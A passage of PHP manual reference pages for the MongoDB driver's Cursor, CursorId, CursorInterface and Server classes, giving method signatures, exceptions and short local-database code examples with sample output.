  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeQuery() - Execute a database query on this server

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • ≪ MongoDB\Driver\Cursor::__construct
  • MongoDB\Driver\Cursor::getId ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the current element

MongoDB\Driver\Cursor::current

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::current — Returns the current element

説明

public MongoDB\Driver\Cursor::current ( ) : array|object

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current result document as an array or object, depending on the cursor's type map. If iteration has not started or the current position is not valid, null will be returned.

参考

  • Iterator::current() - 現在の要素を返す

User Contributed Notes

There are no user contributed notes for this page.


Returns the ID for this cursor

  • ≪ MongoDB\Driver\Cursor::current
  • MongoDB\Driver\Cursor::getServer ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the ID for this cursor

MongoDB\Driver\Cursor::getId

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::getId — Returns the ID for this cursor

説明

final public MongoDB\Driver\Cursor::getId ( ) : MongoDB\Driver\CursorId

Returns the MongoDB\Driver\CursorId associated with this cursor. A cursor ID uniquely identifies the cursor on the server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\CursorId for this cursor.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Cursor::getId() example

<?php

/* In this example, we insert several documents into the collection and specify
 * a smaller batchSize to ensure that the first batch contains only a subset of
 * our results and the cursor remains open on the server. */
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([], ['batchSize' => 2]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump($cursor->getId());

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\Driver\CursorId)#5 (1) {
  ["id"]=>
  int(94810124093)
}

参考

  • MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::__toString() - String representation of the cursor ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the server associated with this cursor

  • ≪ MongoDB\Driver\Cursor::getId
  • MongoDB\Driver\Cursor::isDead ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the server associated with this cursor

MongoDB\Driver\Cursor::getServer

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::getServer — Returns the server associated with this cursor

説明

final public MongoDB\Driver\Cursor::getServer ( ) : MongoDB\Driver\Server

Returns the MongoDB\Driver\Server associated with this cursor. This is the server that executed the MongoDB\Driver\Query or MongoDB\Driver\Command.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\Server associated with this cursor.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Cursor::getServer() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump($cursor->getServer());

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\Driver\Server)#5 (10) {
  ["host"]=>
  string(9) "localhost"
  ["port"]=>
  int(27017)
  ["type"]=>
  int(1)
  ["is_primary"]=>
  bool(false)
  ["is_secondary"]=>
  bool(false)
  ["is_arbiter"]=>
  bool(false)
  ["is_hidden"]=>
  bool(false)
  ["is_passive"]=>
  bool(false)
  ["last_is_master"]=>
  array(8) {
    ["ismaster"]=>
    bool(true)
    ["maxBsonObjectSize"]=>
    int(16777216)
    ["maxMessageSizeBytes"]=>
    int(48000000)
    ["maxWriteBatchSize"]=>
    int(1000)
    ["localTime"]=>
    object(MongoDB\BSON\UTCDateTime)#6 (1) {
      ["milliseconds"]=>
      int(1446505367907)
    }
    ["maxWireVersion"]=>
    int(3)
    ["minWireVersion"]=>
    int(0)
    ["ok"]=>
    float(1)
  }
  ["round_trip_time"]=>
  int(584)
}

参考

  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Checks if the cursor is exhausted or may have additional results

  • ≪ MongoDB\Driver\Cursor::getServer
  • MongoDB\Driver\Cursor::key ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Checks if the cursor is exhausted or may have additional results

MongoDB\Driver\Cursor::isDead

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::isDead — Checks if the cursor is exhausted or may have additional results

説明

final public MongoDB\Driver\Cursor::isDead ( ) : bool

Checks whether there are definitely no additional results available on the cursor. This method is similar to the » cursor.isExhausted() method in the MongoDB shell and is primarily useful when iterating » tailable cursors.

A cursor has no additional results and is considered "dead" when one of the following is true:

  • The current batch has been fully iterated and the cursor ID is zero (i.e. a » getMore cannot be issued).
  • An error was encountered while iterating the cursor.
  • The cursor reached its configured limit.

By design, it is not possible to always determine whether a cursor has additional results. The cases where a cursor may have more data available is as follows:

  • There are additional documents in the current batch, which are buffered on the client side. Iterating will fetch a document from the local buffer.
  • There are no additional documents in the current batch (i.e. local buffer), but the cursor ID is non-zero. Iterating will request more documents from the server via a » getMore operation, which may or may not return additional results and/or indicate that the cursor has been closed on the server by returning zero for its ID.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if there are definitely no additional results available on the cursor, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Cursor::isDead() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);

$iterator = new IteratorIterator($cursor);

$iterator->rewind();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

?>

上の例の出力は以下となります。

bool(false)
bool(false)
bool(false)
bool(true)

参考

  • » Tailable Cursors in the MongoDB manual
  • » cursor.isExhausted() in the MongoDB manual

User Contributed Notes

There are no user contributed notes for this page.


Returns the current result's index within the cursor

  • ≪ MongoDB\Driver\Cursor::isDead
  • MongoDB\Driver\Cursor::next ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the current result's index within the cursor

MongoDB\Driver\Cursor::key

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::key — Returns the current result's index within the cursor

説明

public MongoDB\Driver\Cursor::key ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

The current result's numeric index within the cursor.

参考

  • Iterator::key() - 現在の要素のキーを返す

User Contributed Notes

There are no user contributed notes for this page.


Advances the cursor to the next result

  • ≪ MongoDB\Driver\Cursor::key
  • MongoDB\Driver\Cursor::rewind ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Advances the cursor to the next result

MongoDB\Driver\Cursor::next

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::next — Advances the cursor to the next result

説明

public MongoDB\Driver\Cursor::next ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

Moves the current position to the next element in the cursor.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。

参考

  • Iterator::next() - 次の要素に進む

User Contributed Notes

There are no user contributed notes for this page.


Rewind the cursor to the first result

  • ≪ MongoDB\Driver\Cursor::next
  • MongoDB\Driver\Cursor::setTypeMap ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Rewind the cursor to the first result

MongoDB\Driver\Cursor::rewind

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::rewind — Rewind the cursor to the first result

説明

public MongoDB\Driver\Cursor::rewind ( ) : void

If the cursor has advanced beyond its first position, it can no longer be rewound.

パラメータ

この関数にはパラメータはありません。

返り値

null.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\LogicException if this method is called after the cursor has advanced beyond its first position.

参考

  • Iterator::rewind() - イテレータの最初の要素に巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


Sets a type map to use for BSON unserialization

  • ≪ MongoDB\Driver\Cursor::rewind
  • MongoDB\Driver\Cursor::toArray ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Sets a type map to use for BSON unserialization

MongoDB\Driver\Cursor::setTypeMap

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::setTypeMap — Sets a type map to use for BSON unserialization

説明

final public MongoDB\Driver\Cursor::setTypeMap ( array $typemap ) : void

Sets the type map configuration to use when unserializing the BSON results into PHP values.

パラメータ

typeMap (array)

型マップの設定。

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

When iterating over the cursor, the following exceptions can also be thrown due to an incorrect type map configuration:

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.

例

例1 MongoDB\Driver\Cursor::setTypeMap() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$id = $bulk->insert(['x' => 1]);
$manager->executeBulkWrite('db.collection', $bulk);

$query = new MongoDB\Driver\Query(['_id' => $id]);
$cursor = $manager->executeQuery('db.collection', $query);
$cursor->setTypeMap(['root' => 'array']);

foreach ($cursor as $document) {
    var_dump($document);
}

?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["_id"]=>
  object(MongoDB\BSON\ObjectId)#6 (1) {
    ["oid"]=>
    string(24) "56424fb76118fd3267180741"
  }
  ["x"]=>
  int(1)
}

参考

  • Persisting Data

User Contributed Notes

tdrpic 14-Jul-2016 07:59
If you would prefer to have the results returned as an associative array, after executing your query you could call $cursor->setTypeMap like this:

$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);


Returns an array containing all results for this cursor

  • ≪ MongoDB\Driver\Cursor::setTypeMap
  • MongoDB\Driver\Cursor::valid ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns an array containing all results for this cursor

MongoDB\Driver\Cursor::toArray

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::toArray — Returns an array containing all results for this cursor

説明

final public MongoDB\Driver\Cursor::toArray ( ) : array

Iterates the cursor and returns its results in an array. MongoDB\Driver\Cursor::setTypeMap() may be used to control how documents are unserialized into PHP values.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array containing all results for this cursor.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Cursor::toArray() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$query = new MongoDB\Driver\Query([]);
$cursor = $manager->executeQuery('db.collection', $query);

var_dump($cursor->toArray());

?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  object(stdClass)#6 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#5 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf61"
    }
    ["x"]=>
    int(1)
  }
  [1]=>
  object(stdClass)#8 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#7 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf62"
    }
    ["x"]=>
    int(2)
  }
  [2]=>
  object(stdClass)#10 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#9 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf63"
    }
    ["x"]=>
    int(3)
  }
}

参考

  • MongoDB\Driver\Cursor::setTypeMap() - Sets a type map to use for BSON unserialization

User Contributed Notes

284743576 at qq dot com 19-Oct-2017 05:52
$cursor = $manager->executeQuery('db.collection', $query);
$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);
return $cursor->toArray();


Checks if the current position in the cursor is valid

  • ≪ MongoDB\Driver\Cursor::toArray
  • MongoDB\Driver\CursorId ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Checks if the current position in the cursor is valid

MongoDB\Driver\Cursor::valid

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::valid — Checks if the current position in the cursor is valid

説明

public MongoDB\Driver\Cursor::valid ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

true if the current cursor position is valid, false otherwise.

参考

  • Iterator::valid() - 現在位置が有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\CursorId class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\CursorID class is a value object that represents a cursor ID. Instances of this class are returned by MongoDB\Driver\Cursor::getId().

クラス概要

final MongoDB\Driver\CursorId implements Serializable {
/* メソッド */
final private __construct ( )
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.7.0 | Implements Serializable.

目次

  • MongoDB\Driver\CursorId::__construct — Create a new CursorId (not used)
  • MongoDB\Driver\CursorId::serialize — Serialize a CursorId
  • MongoDB\Driver\CursorId::__toString — String representation of the cursor ID
  • MongoDB\Driver\CursorId::unserialize — Unserialize a CursorId

User Contributed Notes

There are no user contributed notes for this page.


Create a new CursorId (not used)

  • ≪ MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::serialize ≫
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Create a new CursorId (not used)

MongoDB\Driver\CursorId::__construct

(mongodb >=1.0.0)

MongoDB\Driver\CursorId::__construct — Create a new CursorId (not used)

説明

final private MongoDB\Driver\CursorId::__construct ( )

MongoDB\Driver\CursorId objects are returned from MongoDB\Driver\Cursor::getId() and cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

参考

  • MongoDB\Driver\Cursor::getId() - Returns the ID for this cursor

User Contributed Notes

There are no user contributed notes for this page.


Serialize a CursorId

  • ≪ MongoDB\Driver\CursorId::__construct
  • MongoDB\Driver\CursorId::__toString ≫
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Serialize a CursorId

MongoDB\Driver\CursorId::serialize

(mongodb >=1.7.0)

MongoDB\Driver\CursorId::serialize — Serialize a CursorId

説明

final public MongoDB\Driver\CursorId::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\Driver\CursorId.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\CursorId::unserialize() - Unserialize a CursorId
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


String representation of the cursor ID

  • ≪ MongoDB\Driver\CursorId::serialize
  • MongoDB\Driver\CursorId::unserialize ≫
  • PHP Manual
  • MongoDB\Driver\CursorId
  • String representation of the cursor ID

MongoDB\Driver\CursorId::__toString

(mongodb >=1.0.0)

MongoDB\Driver\CursorId::__toString — String representation of the cursor ID

説明

final public MongoDB\Driver\CursorId::__toString ( ) : string

Returns the string representation of the cursor ID.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of the cursor ID.

例

例1 MongoDB\Driver\CursorId::__toString() example

<?php

/* In this example, we insert several documents into the collection and specify
 * a smaller batchSize to ensure that the first batch contains only a subset of
 * our results and the cursor remains open on the server. */
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([], ['batchSize' => 2]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump((string) $cursor->getId());

?>

上の例の出力は、 たとえば以下のようになります。

string(11) "98061641158"

参考

  • MongoDB\Driver\Cursor::getId() - Returns the ID for this cursor

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a CursorId

  • ≪ MongoDB\Driver\CursorId::__toString
  • MongoDB\Driver\CursorInterface ≫
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Unserialize a CursorId

MongoDB\Driver\CursorId::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\CursorId::unserialize — Unserialize a CursorId

説明

final public MongoDB\Driver\CursorId::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\Driver\CursorId.

返り値

Returns the unserialized MongoDB\Driver\CursorId.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\Driver\CursorId::serialize() - Serialize a CursorId
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\CursorInterface interface

(mongodb >=1.6.0)

はじめに

This interface is implemented by MongoDB\Driver\Cursor but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\Driver\CursorInterface implements Traversable {
/* メソッド */
abstract public getId ( ) : MongoDB\Driver\CursorId
abstract public getServer ( ) : MongoDB\Driver\Server
abstract public isDead ( ) : bool
abstract public setTypeMap ( array $typemap ) : void
abstract public toArray ( ) : array
}

目次

  • MongoDB\Driver\CursorInterface::getId — Returns the ID for this cursor
  • MongoDB\Driver\CursorInterface::getServer — Returns the server associated with this cursor
  • MongoDB\Driver\CursorInterface::isDead — Checks if the cursor may have additional results
  • MongoDB\Driver\CursorInterface::setTypeMap — Sets a type map to use for BSON unserialization
  • MongoDB\Driver\CursorInterface::toArray — Returns an array containing all results for this cursor

User Contributed Notes

There are no user contributed notes for this page.


Returns the ID for this cursor

  • ≪ MongoDB\Driver\CursorInterface
  • MongoDB\Driver\CursorInterface::getServer ≫
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Returns the ID for this cursor

MongoDB\Driver\CursorInterface::getId

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::getId — Returns the ID for this cursor

説明

abstract public MongoDB\Driver\CursorInterface::getId ( ) : MongoDB\Driver\CursorId

Returns the MongoDB\Driver\CursorId associated with this cursor. A cursor ID uniquely identifies the cursor on the server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\CursorId for this cursor.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Cursor::getId() - Returns the ID for this cursor
  • MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::__toString() - String representation of the cursor ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the server associated with this cursor

  • ≪ MongoDB\Driver\CursorInterface::getId
  • MongoDB\Driver\CursorInterface::isDead ≫
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Returns the server associated with this cursor

MongoDB\Driver\CursorInterface::getServer

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::getServer — Returns the server associated with this cursor

説明

abstract public MongoDB\Driver\CursorInterface::getServer ( ) : MongoDB\Driver\Server

Returns the MongoDB\Driver\Server associated with this cursor. This is the server that executed the MongoDB\Driver\Query or MongoDB\Driver\Command.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\Server associated with this cursor.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Cursor::getServer() - Returns the server associated with this cursor
  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Checks if the cursor may have additional results

  • ≪ MongoDB\Driver\CursorInterface::getServer
  • MongoDB\Driver\CursorInterface::setTypeMap ≫
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Checks if the cursor may have additional results

MongoDB\Driver\CursorInterface::isDead

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::isDead — Checks if the cursor may have additional results

説明

abstract public MongoDB\Driver\CursorInterface::isDead ( ) : bool

Checks whether the cursor may have additional results available to read. A cursor is initially "alive" but may become "dead" for any of the following reasons:

  • Advancing a non-tailable cursor did not return a document
  • The cursor encountered an error
  • The cursor read its last batch to completion
  • The cursor reached its configured limit
This is primarily useful with tailable cursors.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if additional results are not available, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Cursor::isDead() - Checks if the cursor is exhausted or may have additional results

User Contributed Notes

There are no user contributed notes for this page.


Sets a type map to use for BSON unserialization

  • ≪ MongoDB\Driver\CursorInterface::isDead
  • MongoDB\Driver\CursorInterface::toArray ≫
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Sets a type map to use for BSON unserialization

MongoDB\Driver\CursorInterface::setTypeMap

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::setTypeMap — Sets a type map to use for BSON unserialization

説明

abstract public MongoDB\Driver\CursorInterface::setTypeMap ( array $typemap ) : void

Sets the type map configuration to use when unserializing the BSON results into PHP values.

パラメータ

typeMap (array)

型マップの設定。

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Cursor::setTypeMap() - Sets a type map to use for BSON unserialization
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns an array containing all results for this cursor

  • ≪ MongoDB\Driver\CursorInterface::setTypeMap
  • MongoDB\Driver\Server ≫
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Returns an array containing all results for this cursor

MongoDB\Driver\CursorInterface::toArray

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::toArray — Returns an array containing all results for this cursor

説明

abstract public MongoDB\Driver\CursorInterface::toArray ( ) : array

Iterates the cursor and returns its results in an array. MongoDB\Driver\CursorInterface::setTypeMap() may be used to control how documents are unserialized into PHP values.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array containing all results for this cursor.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Cursor::toArray() - Returns an array containing all results for this cursor
  • MongoDB\Driver\CursorInterface::setTypeMap() - Sets a type map to use for BSON unserialization

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Server class

(mongodb >=1.0.0)

はじめに

クラス概要

final MongoDB\Driver\Server {
/* Constants */
const int TYPE_UNKNOWN = 0 ;
const int TYPE_STANDALONE = 1 ;
const int TYPE_MONGOS = 2 ;
const int TYPE_POSSIBLE_PRIMARY = 3 ;
const int TYPE_RS_PRIMARY = 4 ;
const int TYPE_RS_SECONDARY = 5 ;
const int TYPE_RS_ARBITER = 6 ;
const int TYPE_RS_OTHER = 7 ;
const int TYPE_RS_GHOST = 8 ;
/* メソッド */
final private __construct ( )
final public executeBulkWrite ( string $namespace , MongoDB\Driver\BulkWrite $bulk , array $options = array() ) : MongoDB\Driver\WriteResult
final public executeCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public executeQuery ( string $namespace , MongoDB\Driver\Query $query , array $options = array() ) : MongoDB\Driver\Cursor
final public executeReadCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public executeReadWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public executeWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public getHost ( ) : string
final public getInfo ( ) : array
final public getLatency ( ) : string
final public getPort ( ) : int
final public getTags ( ) : array
final public getType ( ) : int
final public isArbiter ( ) : bool
final public isHidden ( ) : bool
final public isPassive ( ) : bool
final public isPrimary ( ) : bool
final public isSecondary ( ) : bool
}

定義済み定数

MongoDB\Driver\Server::TYPE_UNKNOWN

Unknown server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_STANDALONE

Standalone server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_MONGOS

Mongos server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_POSSIBLE_PRIMARY

Replica set possible primary server type, returned by MongoDB\Driver\Server::getType().

A server may be identified as a possible primary if it has not yet been checked but another memory of the replica set thinks it is the primary.

MongoDB\Driver\Server::TYPE_RS_PRIMARY

Replica set primary server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_SECONDARY

Replica set secondary server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_ARBITER

Replica set arbiter server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_OTHER

Replica set other server type, returned by MongoDB\Driver\Server::getType().

Such servers may be hidden, starting up, or recovering. They cannot be queried, but their hosts lists are useful for discovering the current replica set configuration.

MongoDB\Driver\Server::TYPE_RS_GHOST

Replica set ghost server type, returned by MongoDB\Driver\Server::getType().

Servers may be identified as such in at least three situations: briefly during server startup; in an uninitialized replica set; or when the server is shunned (i.e. removed from the replica set config). They cannot be queried, nor can their host list be used to discover the current replica set configuration; however, the client may monitor this server in hope that it transitions to a more useful state.

目次

  • MongoDB\Driver\Server::__construct — Create a new Server (not used)
  • MongoDB\Driver\Server::executeBulkWrite — Execute one or more write operations on this server
  • MongoDB\Driver\Server::executeCommand — Execute a database command on this server
  • MongoDB\Driver\Server::executeQuery — Execute a database query on this server
  • MongoDB\Driver\Server::executeReadCommand — Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeReadWriteCommand — Execute a database command that reads and writes on this server
  • MongoDB\Driver\Server::executeWriteCommand — Execute a database command that writes on this server
  • MongoDB\Driver\Server::getHost — Returns the hostname of this server
  • MongoDB\Driver\Server::getInfo — Returns an array of information about this server
  • MongoDB\Driver\Server::getLatency — Returns the latency of this server
  • MongoDB\Driver\Server::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Server::getTags — Returns an array of tags describing this server in a replica set
  • MongoDB\Driver\Server::getType — Returns an integer denoting the type of this server
  • MongoDB\Driver\Server::isArbiter — Checks if this server is an arbiter member of a replica set
  • MongoDB\Driver\Server::isHidden — Checks if this server is a hidden member of a replica set
  • MongoDB\Driver\Server::isPassive — Checks if this server is a passive member of a replica set
  • MongoDB\Driver\Server::isPrimary — Checks if this server is a primary member of a replica set
  • MongoDB\Driver\Server::isSecondary — Checks if this server is a secondary member of a replica set

User Contributed Notes

There are no user contributed notes for this page.


Create a new Server (not used)

  • ≪ MongoDB\Driver\Server
  • MongoDB\Driver\Server::executeBulkWrite ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Create a new Server (not used)

MongoDB\Driver\Server::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Server::__construct — Create a new Server (not used)

説明

final private MongoDB\Driver\Server::__construct ( )

MongoDB\Driver\Server objects are created internally by MongoDB\Driver\Manager when a database connection is established and may be returned by MongoDB\Driver\Manager::getServers() and MongoDB\Driver\Manager::selectServer().

パラメータ

この関数にはパラメータはありません。

参考

  • MongoDB\Driver\Manager::getServers() - Return the servers to which this manager is connected
  • MongoDB\Driver\Manager::selectServer() - Select a server matching a read preference

User Contributed Notes

There are no user contributed notes for this page.


Execute one or more write operations on this server

  • ≪ MongoDB\Driver\Server::__construct
  • MongoDB\Driver\Server::executeCommand ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute one or more write operations on this server

MongoDB\Driver\Server::executeBulkWrite

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeBulkWrite — Execute one or more write operations on this server

説明

final public MongoDB\Driver\Server::executeBulkWrite ( string $namespace , MongoDB\Driver\BulkWrite $bulk , array $options = array() ) : MongoDB\Driver\WriteResult

Executes one or more write operations on this server.

A MongoDB\Driver\BulkWrite can be constructed with one or more write operations of varying types (e.g. updates, deletes, and inserts). The driver will attempt to send operations of the same type to the server in as few requests as possible to optimize round trips.

パラメータ

namespace (string)

完全修飾形式の名前空間 ("databaseName.collectionName")。

bulk (MongoDB\Driver\BulkWrite)

実行する書き込み。

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

返り値

成功した場合に MongoDB\Driver\WriteResult を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk does not contain any write operations.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk has already been executed. MongoDB\Driver\BulkWrite objects may not be executed multiple times.
